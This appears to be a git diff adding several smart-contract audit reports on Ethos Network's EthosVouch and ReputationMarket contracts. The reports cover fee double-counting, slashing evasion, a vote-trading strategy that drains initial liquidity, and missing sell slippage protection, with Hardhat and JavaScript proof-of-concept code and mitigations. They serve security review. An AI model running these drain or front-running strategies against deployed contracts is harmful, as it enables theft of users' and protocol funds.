test, this needs to be added in `EthosVouch.test.ts`: + +```solidity +import { type HardhatEthersSigner } from '@nomicfoundation/hardhat-ethers/signers.js'; +import { type EthosReview } from '../typechain-types/index.js'; +import { common } from './utils/common.js'; + +const Score = { + Negative: 0, + Neutral: 1, + Positive: 2, +}; + +type AttestationDetails = { + account: string; + service: string; +}; +const defaultComment = 'default comment'; +const defaultMetadata = JSON.stringify({ itemKey: 'item value' }); + +async function allowPaymentToken( + admin: HardhatEthersSigner, + ethosReview: EthosReview, + paymentTokenAddress: string, + isAllowed: boolean, + priceEth: bigint, +): Promise { + await ethosReview.connect(admin).setReviewPrice(isAllowed, paymentTokenAddress, priceEth); +} +``` + +The following test can now be added to `EthosVouch.test.ts`: + +```solidity + it('should succeed if vouch for profile that claimed a vouched mock', async () => { + const { + ethosProfile, + ethosReview, + ethosVouch, + ADMIN, + OWNER, + PROFILE_CREATOR_0, + PROFILE_CREATOR_1, + OTHER_0, + EXPECTED_SIGNER, + VOUCHER_0, + } = await loadFixture(deployFixture); + + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); + await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); + + const reviewPrice = ethers.parseEther('1.23456789'); + await allowPaymentToken(ADMIN, ethosReview, ethers.ZeroAddress, true, reviewPrice); + + const params = { + score: Score.Positive, + subject: OTHER_0.address, + paymentToken: ethers.ZeroAddress, + comment: defaultComment, + metadata: defaultMetadata, + attestationDetails: { + account: '', + service: '', + } satisfies AttestationDetails, + }; + + await ethosReview + .connect(PROFILE_CREATOR_0) + .addReview( + params.score, + params.subject, + params.paymentToken, + params.comment, + params.metadata, + params.attestationDetails, + { value: reviewPrice }, + ); + + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address); + await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1); + + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + + expect(await ethosProfile.profileIdByAddress(OTHER_0.address)).to.be.equal( + 3, + 'wrong mock Id', + ); + + await ethosVouch.connect(VOUCHER_0).vouchByProfileId(3, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('1.1'), + }); + + expect(await ethosVouch.vouchCount()).to.equal(1, 'Wrong vouchCount'); + + // mock is registered with a profile + const signature = await common.signatureForRegisterAddress( + OTHER_0.address, + '4', + '29548234957', + EXPECTED_SIGNER, + ); + + await ethosProfile + .connect(PROFILE_CREATOR_1) + .registerAddress(OTHER_0.address, 4, 29548234957, signature); + + // profile Id for mock changes + expect(await ethosProfile.profileIdByAddress(OTHER_0.address)).to.be.equal( + 4, + 'wrong profileId', + ); + + await ethosVouch.connect(VOUCHER_0).vouchByProfileId(4, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('1.1'), + }); + + expect(await ethosVouch.vouchCount()).to.equal(2, 'Wrong vouchCount'); + }); +``` + +### Mitigation + +The simplest mitigation would be to disallow vouching for mock profiles. However, if that is not an option, it should be verified whether the subject has claimed a mock profile that the author has already vouched for. \ No newline at end of file diff --git a/115.md b/115.md new file mode 100644 index 0000000..cecea6b --- /dev/null +++ b/115.md @@ -0,0 +1,37 @@ +Itchy Ginger Loris + +Medium + +# Author can avoid portion of fees due to donation rewards distribution flaw + +## Summary + +The `EthosVouch` contract allows increasing a vouch; however, it does not exclude the author from the donation reward distribution, which diminishes the effect of fees at the expense of previous vouchers receiving fewer rewards. + +## Vulnerability Detail + +Suppose a scenario where a subject exists with 1 voucher (Alice) and 1 ETH balance. The voucher pool fee is 5%. + +1. Bob creates a vouch with 0.5 ETH (Bob's balance: 0.475 ETH, donation: 0.025 ETH) +2. The system rewards Alice: 0.025 ETH (Alice's balance is 1.025 ETH) +3. Bob calls `increaseVouch` with another 0.5 ETH (donation: 0.025 ETH) +4. The system rewards + - Alice: 0.025 * 1.025 / 1.5 = 0.017083 ETH, Alice's balance is 1.025 + 0.017083 = 1.042083 ETH + - Bob: 0.025 * 0.475 / 1.5 = 0.00791 ETH, Bob's balance is 0.475 + 0.475 + 0.00791 = 0.957916 ETH + +However, if Bob had created a vouch with 1 ETH at the start: +1. Alice's reward: 0.05 => balance = 1.05 ETH +2. Bob's balance = 0.95 ETH + +Hence the gain from Bob manipulating via `vouchIncrease` is: 0.957916 - 0.95 = 0.007916 ETH + +## Impact + +Previous vouchers receive fewer donation rewards while malicious user saves on fees. + +## Code Snippet +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697-L739 + +## Recommendation + +Exclude the author's vouch from the donation reward calculation on the `vouchIncrease` call. diff --git a/116.md b/116.md new file mode 100644 index 0000000..8688073 --- /dev/null +++ b/116.md @@ -0,0 +1,170 @@ +Recumbent Shamrock Barracuda + +Medium + +# `unvouch` allows immediate withdrawals, permitting slashing evasion: pending withdrawal mechanism Missing + +### Summary + +The `unvouch` function in the `EthosVouch` contract allows users to withdraw their staked funds immediately after initiating an unvouch. This behavior enables users to evade slashing by withdrawing their funds before any slashing operation can be executed. According to the protocol’s design, slashing should affect all staked funds, including those in the process of withdrawal. + +To address this, the `unvouch` function should implement a **two-step process**: users must first submit an **unvouch request**, and only after a **cooldown period** can they claim their funds. This ensures slashing can apply to pending withdrawals. + + +### Root Cause + +The `unvouch` function processes both the unvouch request and the funds withdrawal in a single transaction, leaving no opportunity for slashing operations to affect the withdrawn funds. + +Relevant Code: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L470-L478 +```solidity +(uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); +v.balance = 0; +(bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); +if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); +} +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A voucher creates a vouch and stakes ETH. +2. The voucher anticipates being slashed and calls `unvouch` to immediately withdraw funds. +3. The protocol cannot slash the funds as they have already been withdrawn. + +### Impact + +1. **Slashing Evasion**: Users can avoid slashing penalties by quickly withdrawing their funds after initiating an unvouch. +2. **Protocol Credibility**: Undermines the effectiveness of slashing as a deterrent for unethical behavior, reducing trust in the protocol. +3. **Potential Exploitation**: Malicious actors could exploit this loophole to avoid penalties, leaving honest users disadvantaged. + +### PoC + +_No response_ + +### Mitigation + +1. **Add Pending Unvouch State** + ```solidity + struct PendingUnvouch { + uint256 balance; + uint256 unlockTime; + } + mapping(uint256 => PendingUnvouch) public pendingUnvouches; + ``` + +2. **Modify `unvouch`** + Replace immediate withdrawal with a pending unvouch state: + ```solidity + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + + if (v.authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, v.authorAddress); + } + + v.archived = true; + v.activityCheckpoints.unvouchedAt = block.timestamp; + + uint256 toWithdraw; + (toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + + pendingUnvouches[vouchId] = PendingUnvouch({ + balance: toWithdraw, + unlockTime: block.timestamp + 24 hours + }); + + v.balance = 0; + + emit UnvouchRequested(v.vouchId, v.authorProfileId, v.subjectProfileId, toWithdraw, block.timestamp + 24 hours); + } + ``` + +3. **Add `claimFunds`** + Enable users to claim their funds after the cooldown period: + ```solidity + function claimFunds(uint256 vouchId) public nonReentrant { + PendingUnvouch storage pending = pendingUnvouches[vouchId]; + + if (pending.unlockTime == 0 || block.timestamp < pending.unlockTime) { + revert FundsNotYetUnlocked(vouchId); + } + + uint256 amount = pending.balance; + delete pendingUnvouches[vouchId]; + + (bool success, ) = payable(msg.sender).call{ value: amount }(""); + if (!success) { + revert FeeTransferFailed("Failed to transfer funds"); + } + + emit FundsClaimed(vouchId, msg.sender, amount); + } + ``` + +4. **Modify `slash`** + Ensure slashing affects pending withdrawals: + ```solidity + function slash( + uint256 authorProfileId, + uint256 slashBasisPoints + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + uint256 totalSlashed; + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + + // Slash active vouches + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } + + // Slash pending unvouches + for (uint256 i = 0; i < vouchIds.length; i++) { + PendingUnvouch storage pending = pendingUnvouches[vouchIds[i]]; + if (pending.balance > 0) { + uint256 slashAmount = pending.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + pending.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } + + // Transfer total slashed to protocol fee address + if (totalSlashed > 0) { + (bool success, ) = protocolFeeAddress.call{ value: totalSlashed }(""); + if (!success) revert FeeTransferFailed("Slash transfer failed"); + } + + emit Slashed(authorProfileId, slashBasisPoints, totalSlashed); + return totalSlashed; + } + ``` \ No newline at end of file diff --git a/117.md b/117.md new file mode 100644 index 0000000..3658ee4 --- /dev/null +++ b/117.md @@ -0,0 +1,149 @@ +Flat Pear Owl + +High + +# Double counting of protocol and donation fees leads to potential protocol drain + +### Summary + +In `ReputationMarket.sol`, the protocol fails to properly handle the update of `marketFunds` in the `buyVotes` function. It double counts the protocol fee and donation fee. As a result, when someone attempts to withdraw graduated market funds, it could potentially drain the entire protocol. + +### Root Cause + +In `buyVotes`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L451 +```solidity + ( + uint256 votesBought, + uint256 fundsPaid, //@audit + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds + marketFunds[profileId] += fundsPaid; //@audit +``` + +It calls `_calculateBuy` to calc`fundsPaid` which is the amount that user should pay. And it updates `marketFunds[profileId]` using the following code `marketFunds[profileId] += fundsPaid;`. + +In function `_calculateBuy`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 +```solidity + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; // @audit + // ... + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` +It adds protocol fee and donation fee to fundsPaid. so actually the `fundsPaid` consists 3 parts: +1. the amout used to buy votes +2. protocol fee +3. donation fee + +The protocol fee have been send to protocol fee receiver when call `applyFees` in `buyVotes` and the donation fee can also be withdraw through `withdrawDonations`. +But in function `withdrawGraduatedMarketFunds` , it sends the whole`markFunds[profileId]` to msg.sender. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 +```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + + _sendEth(marketFunds[profileId]); //@audit + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` +As a result, the protocol can be drained due to the double counting of the protocol fee and donation fee. +It doesn't matter the caller of withdrawGraduatedMarketFunds is trusted, as the issue only requires them to call this function. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +potentially drain the entire protocol. + +### PoC + +_No response_ + +### Mitigation + +remove protocol fee and donation fee from `fundsPaid` after send refund \ No newline at end of file diff --git a/118.md b/118.md new file mode 100644 index 0000000..97ba607 --- /dev/null +++ b/118.md @@ -0,0 +1,123 @@ +Dancing Khaki Moose + +High + +# Anyone can withdraw all of `initialLiquidity` whenever the market starts with the default market configuration(Default tier). + +### Summary + +> **What properties/invariants do you want to hold even if breaking them has a low/unknown impact?** +> +> The vouch and vault contracts must never revert a transaction due to running out of funds. +> +> Reputation Markets must never sell the initial votes. **_They must never pay out the initial liquidity deposited._** The only way to access those funds is to graduate the market. + +Anyone can withdraw all of the `initialLiquidity` if the market starts with the default market configuration(Default tier). + +A malicious user can buy votes at a low price and then sell them at a high price. +The buying strategy at a low price involves purchasing a trust vote, then buying a distrust vote, and repeating this process. +The total buying prices are calculated as follows: 1/2 + 1/3 + 2/4 + 2/5 + 3/6 + 3/7 + ... + +The selling strategy at a high price involves selling all of the distrust votes first, and then selling all of the trust votes except for the base votes (one trust vote and one distrust vote). +The total selling prices if the total votes are 9, are calculated as follows: 3/8 + 2/7 + 1/6 + 4/5 + 3/4 + 2/3 + 1/2. + +The more votes that are bought, the higher the potential margin. +[](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141) + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A malicious user is monitoring the network. + +2. If a market is started, the malicious user purchases 21 votes using a low-priced buying strategy immediately. + +3. And then the user first sells all of the distrust votes and then sells all of the trust votes. + +### Impact + +The market owner loses a significant portion of market creator's base liquidity. + +### PoC + +As a result, the market owner loses a significant portion of market creator's base liquidity. +This can also be tested. + +```javascript +const _1E18 = 1e18 +const BASE_VOTES = 2 +/// DEFAULT_PRICE is 0.01 ether +const DEFAULT_PRICE = 0.01 +const DEFAULT_GAS_LIMIT = 21000 / _1E18 + +const buyVotesAlternately = (n) => { + let sum = 0 + + for(let i = 0; i < n; i++) { + const k = BASE_VOTES + i + const a = Math.floor(k / 2) + sum += a / k + } + return sum * DEFAULT_PRICE +} + +const sellVotesTrustAndThenDisTrust = (n) => { + let sum = 0 + + const edgePoint = Math.floor((n + 1) / 2) + for(let i = 0; i < n; i++) { + if (i < edgePoint) { + sum += (i + 1) / (i + 2) + } else { + sum += (i - edgePoint + 1) / (i + 2) + } + } + return sum * DEFAULT_PRICE +} + +const Result = (n) => { + const totalAmountBuyVotes = buyVotesAlternately(n) + const totalAmountSellVotes = sellVotesTrustAndThenDisTrust(n) + const maximumFeeAndDonation = totalAmountBuyVotes / 10 + totalAmountSellVotes / 20 + const normalGasPrice = (n + 2) * DEFAULT_GAS_LIMIT + const gain = totalAmountSellVotes - totalAmountBuyVotes - maximumFeeAndDonation - normalGasPrice + console.log(`Total amount buy votes: ${totalAmountBuyVotes} ether`) + console.log(`Total amount sell votes: ${totalAmountSellVotes} ether`) + console.log(`Margin: ${totalAmountSellVotes - totalAmountBuyVotes} ether`) + console.log(`Maximum value of fees and donation: ${maximumFeeAndDonation} ether`) + console.log(`Total gas price: About ${normalGasPrice} ether`) + console.log(`Gain: ${gain} ether`) +} +``` + +Results of `Result(21)` + +- Total amount of bought votes: 0.09909562711110699 ether +- Total amount of sold votes: 0.11845558457710162 ether +- Margin: 0.01935995746599463 ether +- Maximum value of fees and donations: 0.01583234193996578 ether +- Total gas price: Approximately 4.83e-13 ether +- Gain: 0.0035276155255458503 ether + +As observed from the results, the malicious user can obtain a gain of 0.00352761552514685 ether, while the market owner incurs a loss of 0.01935995746599463 ether, given that the initial liquidity is 0.02 ether when using the default market configuration(Default tier). + +### Mitigation + +1. **Increase Initial Votes** +- Propose an increase in the initial number of votes. + +2. **Adjust Maximum Donation to 6%** +- The current maximum donation and fees are set at 5%. However, since the **maximum total fees cannot exceed 10%**, the market owner may have the option to set donations and fees at 6% and 4%, respectively. This adjustment could help address the issue. + +3. **Set Limits on the Amount of Votes Users Can Buy/Sell** +- Establish a limit on the number of votes that users can buy or sell, based on the total votes available in the market. diff --git a/119.md b/119.md new file mode 100644 index 0000000..9deeb1f --- /dev/null +++ b/119.md @@ -0,0 +1,104 @@ +Dancing Khaki Moose + +High + +# Malicious market creator(not the contract owner) can withdraw all of ethers of `ReputationMarket` contract. + +### Summary + +This issue is very simply **Anyone can withdraw all of initialLiquidity whenever the market starts with the default market configuration(Default tier).** that I submitted first. +[](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141) + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The user who can create a market is able to create a market with the default market configuration(Default tier). +2. The user alternately buys votes (first a trust vote, then a distrust vote, and then repeats this process) in large quantities (for example, 999,999). +3. The user sells all of their distrust votes and then sells all of their trust votes. + +### Impact + +The `ReputationMarket` contract will lose all Ether. + +### PoC + +We are able to test amount of ETHs simply. + +```javascript +const _1E18 = 1e18 +const BASE_VOTES = 2 +/// DEFAULT_PRICE is 0.01 ether +const DEFAULT_PRICE = 0.01 +const DEFAULT_GAS_LIMIT = 21000 / _1E18 + +const buyVotesAlternately = (n) => { + let sum = 0 + + for(let i = 0; i < n; i++) { + const k = BASE_VOTES + i + const a = Math.floor(k / 2) + sum += a / k + } + return sum * DEFAULT_PRICE +} + +const sellVotesTrustAndThenDisTrust = (n) => { + let sum = 0 + + const edgePoint = Math.floor((n + 1) / 2) + for(let i = 0; i < n; i++) { + if (i < edgePoint) { + sum += (i + 1) / (i + 2) + } else { + sum += (i - edgePoint + 1) / (i + 2) + } + } + return sum * DEFAULT_PRICE +} + +const Result = (n) => { + const totalAmountBuyVotes = buyVotesAlternately(n) + const totalAmountSellVotes = sellVotesTrustAndThenDisTrust(n) + const maximumFeeAndDonation = totalAmountBuyVotes / 10 + totalAmountSellVotes / 20 + const normalGasPrice = (n + 2) * DEFAULT_GAS_LIMIT + const gain = totalAmountSellVotes - totalAmountBuyVotes - maximumFeeAndDonation - normalGasPrice + console.log(`Total amount buy votes: ${totalAmountBuyVotes} ether`) + console.log(`Total amount sell votes: ${totalAmountSellVotes} ether`) + console.log(`Margin: ${totalAmountSellVotes - totalAmountBuyVotes} ether`) + console.log(`Maximum value of fees and donation: ${maximumFeeAndDonation} ether`) + console.log(`Total gas price: About ${normalGasPrice} ether`) + console.log(`Gain: ${gain} ether`) +} +``` + +Results of `Result(999,999)` + +Total amount buy votes: 4999.962285316473 ether +Total amount sell votes: 6534.132669911702 ether +Margin: 1534.1703845952288 ether +Maximum value of fees and donation: 826.7028620272324 ether +Total gas price: About 2.1000021e-8 ether +Gain: 707.4675225469964 ether + + +### Mitigation + +1. **Increase Initial Votes** +- Propose an increase in the initial number of votes. + +2. **Adjust Maximum Donation to 6%** +- The current maximum donation and fees are set at 5%. However, since the **maximum total fees cannot exceed 10%**, the market owner may have the option to set donations and fees at 6% and 4%, respectively. This adjustment could help address the issue. + +3. **Set Limits on the Amount of Votes Users Can Buy/Sell** +- Establish a limit on the number of votes that users can buy or sell, based on the total votes available in the market. \ No newline at end of file diff --git a/120.md b/120.md new file mode 100644 index 0000000..315ea6a --- /dev/null +++ b/120.md @@ -0,0 +1,184 @@ +Overt Alabaster Cottonmouth + +Medium + +# No slippage protection in `sellVotes()` + +## Description & Impact +[sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L499) offers no slippage protection to the user. Here's how this can affect a victim (rough numbers shown below. For exact numbers, please refer PoC). +**_Also note that_** this may happen in the normal course of events where a large order gets placed by Bob before Alice, and does not necessarily require a malicious attacker: + +- Initial Market State + - Trust votes: 1 + - Distrust votes: 1 + - Base price: 0.01 ETH + - Initial price per vote: (1 * 0.01) / 2 = 0.005 ETH + +- Step 1: Victim's Initial Position at time `t` + - Alice has 1 trust vote. Current market distribution: + - Trust votes: 11 + - Distrust votes: 1 + - Current trust vote price: (11 * 0.01) / 12 ≈ 0.0092 ETH + - So Alice will expect to receive ≈ 0.0092 ETH if she sells 1 trust vote. + +- Step 2: Front-Running Attack + - When Alice submits transaction to sell 1 trust votes, Attacker front-runs with purchase of 20 distrust votes. New distribution: + - Trust votes: 11 + - Distrust votes: 21 + - Manipulated trust vote price: (11 * 0.01) / 32 ≈ 0.0034 ETH + +- Step 3: Victim's Forced Sale + - Alice's transaction executes after attacker + - Sells her trust votes at manipulated price + - Received value ≈ 0.0034 ETH + - Loss due to slippage: (0.0092 - 0.0034) ETH = 0.0058 ETH (≈ 63% loss) + +## Proof Of Concept +Add this file as `rep.slippagebug.test.ts` inside the `ethos/packages/contracts/test/reputationMarket/` directory and run with `npm run hardhat -- test --grep "ReputationMarket Slippage Vulnerability"` to see the loss in revenue from sale when compared between Case1 and Case2: +```js +import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js'; +import { expect } from 'chai'; +import hre from 'hardhat'; +import { type ReputationMarket } from '../../typechain-types/index.js'; +import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js'; +import { type EthosUser } from '../utils/ethosUser.js'; +import { DEFAULT, MarketUser } from './utils.js'; + +const { ethers } = hre; + +describe('ReputationMarket Slippage Vulnerability', () => { + let deployer: EthosDeployer; + let ethosUserA: EthosUser; + let ethosUserB: EthosUser; + let alice: MarketUser; + let bob: MarketUser; + let reputationMarket: ReputationMarket; + + beforeEach(async () => { + deployer = await loadFixture(createDeployer); + + if (!deployer.reputationMarket.contract) { + throw new Error('ReputationMarket contract not found'); + } + ethosUserA = await deployer.createUser(); + await ethosUserA.setBalance('10'); + ethosUserB = await deployer.createUser(); + await ethosUserB.setBalance('10'); + + alice = new MarketUser(ethosUserA.signer); + bob = new MarketUser(ethosUserB.signer); + + reputationMarket = deployer.reputationMarket.contract; + DEFAULT.reputationMarket = reputationMarket; + DEFAULT.profileId = ethosUserA.profileId; + await reputationMarket + .connect(deployer.ADMIN) + .setUserAllowedToCreateMarket(DEFAULT.profileId, true); + await reputationMarket.connect(alice.signer).createMarket({ value: ethers.parseEther('0.02') }); + }); + + it('Case1 - Normal scenario', async () => { + // Record initial state + const initialMarket = await reputationMarket.getMarket(ethosUserA.profileId); + expect(initialMarket.trustVotes).to.equal(1n); + expect(initialMarket.distrustVotes).to.equal(1n); + + // Alice buys trust votes + const aliceInvestment = ethers.parseEther('0.1'); + await alice.buyVotes({ + buyAmount: aliceInvestment, + expectedVotes: 12n, // We know this from simulation + slippageBasisPoints: 100 // 1% slippage allowed + }); + + // Verify Alice's position + const alicePosition = await alice.getVotes(); + expect(alicePosition.trustVotes).to.equal(12n); + + // Record Alice's balance before selling + const aliceBalanceBefore = await ethosUserA.getBalance(); + + // Alice's sell executes + await alice.sellVotes({ + sellVotes: 12n // Selling all trust votes + }); + + // Calculate Alice's loss + const aliceBalanceAfter = await ethosUserA.getBalance(); + + // Log the attack details for analysis + console.log('Revenue from Sale:', aliceBalanceAfter - aliceBalanceBefore); // 0.098 ETH + }); + + it('Case2 - Front-run scenario', async () => { + // Record initial state + const initialMarket = await reputationMarket.getMarket(ethosUserA.profileId); + expect(initialMarket.trustVotes).to.equal(1n); + expect(initialMarket.distrustVotes).to.equal(1n); + + // Alice buys trust votes + const aliceInvestment = ethers.parseEther('0.1'); + await alice.buyVotes({ + buyAmount: aliceInvestment, + expectedVotes: 12n, // We know this from simulation + slippageBasisPoints: 100 // 1% slippage allowed + }); + + // Verify Alice's position + const alicePosition = await alice.getVotes(); + expect(alicePosition.trustVotes).to.equal(12n); + + // Record Alice's balance before selling + const aliceBalanceBefore = await ethosUserA.getBalance(); + + // Bob front-runs with large distrust vote purchase + await bob.buyVotes({ + buyAmount: ethers.parseEther('0.3'), + isPositive: false, // buying distrust votes + expectedVotes: 50n, + slippageBasisPoints: 100 + }); + expect((await bob.getVotes()).distrustVotes).to.equal(50n); + + // Alice's sell executes after Bob's attack + await alice.sellVotes({ + sellVotes: 12n // Selling all trust votes + }); + + // Calculate Alice's loss + const aliceBalanceAfter = await ethosUserA.getBalance(); + + // Log the attack details for analysis + console.log('Attack Results:'); + console.log('Revenue from Sale with Front-Run:', aliceBalanceAfter - aliceBalanceBefore); // 0.013 ETH + }); +}); +``` + +## Mitigation +Implement slippage protection in `sellVotes()`. Something along the lines of: +```diff + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount, ++ uint256 expectedFunds, ++ uint256 slippageBasisPoints + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + ++ _checkSlippageLimitOnSell(fundsReceived, expectedFunds, slippageBasisPoints); + + // ... rest of existing function + } +``` \ No newline at end of file diff --git a/121.md b/121.md new file mode 100644 index 0000000..c63fa3f --- /dev/null +++ b/121.md @@ -0,0 +1,100 @@ +Small Tan Eagle + +Medium + +# More than intended fund will be withdrawn from graduated markets due to wrongly update ````marketFunds```` while ````sellVotes()```` + +### Summary + +In ````ReputationMarket.sellVotes()````, both ````fundsReceived```` for seller and the ````protocolFee```` are paid from ````ReputationMarket```` contract, but only the first part is subtracted from the ````marketFunds```` state variable, the ````protocolFee```` is not. It causes more than intended fund to be withdrawn while ````withdrawGraduatedMarketFunds()```` is subsequently called. + +### Root Cause +The issue arises on [L522](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L522) of ````ReputationMarket.sellVotes()````, we can see both ````fundsReceived```` (````L520````) and ````protocolFee```` (````L517````, ````L1123````) are sent out from ````ReputationMarket```` contract, but only ````fundsReceived```` is subtracted from ````marketFunds[profileId]````. +```solidity +File: contracts\ReputationMarket.sol +495: function sellVotes( +496: uint256 profileId, +497: bool isPositive, +498: uint256 amount +499: ) public whenNotPaused activeMarket(profileId) nonReentrant { +... +503: ( +... +505: uint256 fundsReceived, +506: , +507: uint256 protocolFee, +... +510: ) = _calculateSell(markets[profileId], profileId, isPositive, amount); +511: +... +517: applyFees(protocolFee, 0, profileId); +518: +... +520: _sendEth(fundsReceived); +... +522: marketFunds[profileId] -= fundsReceived; // @audit missing to subtract protocolFee +... +534: } + +File: contracts\ReputationMarket.sol +1116: function applyFees( +... +1120: ) private returns (uint256 fees) { +... +1122: if (protocolFee > 0) { +1123: (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); +1124: if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); +1125: } +... +1127: } + +``` +And later while the market is graduated, the remaining ````marketFunds[profileId]```` is sent out at ````L675```` of ````withdrawGraduatedMarketFunds()````. Therefore, the ````protocolFee```` part is double spending out. + +```solidity +File: contracts\ReputationMarket.sol +660: function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { +... +675: _sendEth(marketFunds[profileId]); +... +678: } + +``` + +### Internal pre-conditions + +protocolFee is not zero + +### External pre-conditions + +N/A + +### Attack Path + +Calling ````ReputationMarket.sellVotes()```` by any votes holder. + +### Impact + +The ````ReputationMarket```` lost partial of funds + +### PoC + +_No response_ + +### Mitigation + +```diff +File: contracts\ReputationMarket.sol +495: function sellVotes( +496: uint256 profileId, +497: bool isPositive, +498: uint256 amount +499: ) public whenNotPaused activeMarket(profileId) nonReentrant { +... +503: ( +... +-522: marketFunds[profileId] -= fundsReceived; ++522: marketFunds[profileId] -= fundsReceived + protocolFee; +... +534: } +``` \ No newline at end of file diff --git a/122.md b/122.md new file mode 100644 index 0000000..20309d7 --- /dev/null +++ b/122.md @@ -0,0 +1,72 @@ +Flat Pear Owl + +Medium + +# ReputationMarket charges an excessive protocol fee due to not excluding the refund amount + +### Summary + +In function `buyVotes`, the protocol charges protocol fee according to `msg.value`, but not all the `msg.value` is used to buy votes. Part of it will be refund. So the protocol charges an excessive protocol fee due to not excluding the refund amount. + +### Root Cause + +In `buyVotes`, it will call `_calculateBuy` first. 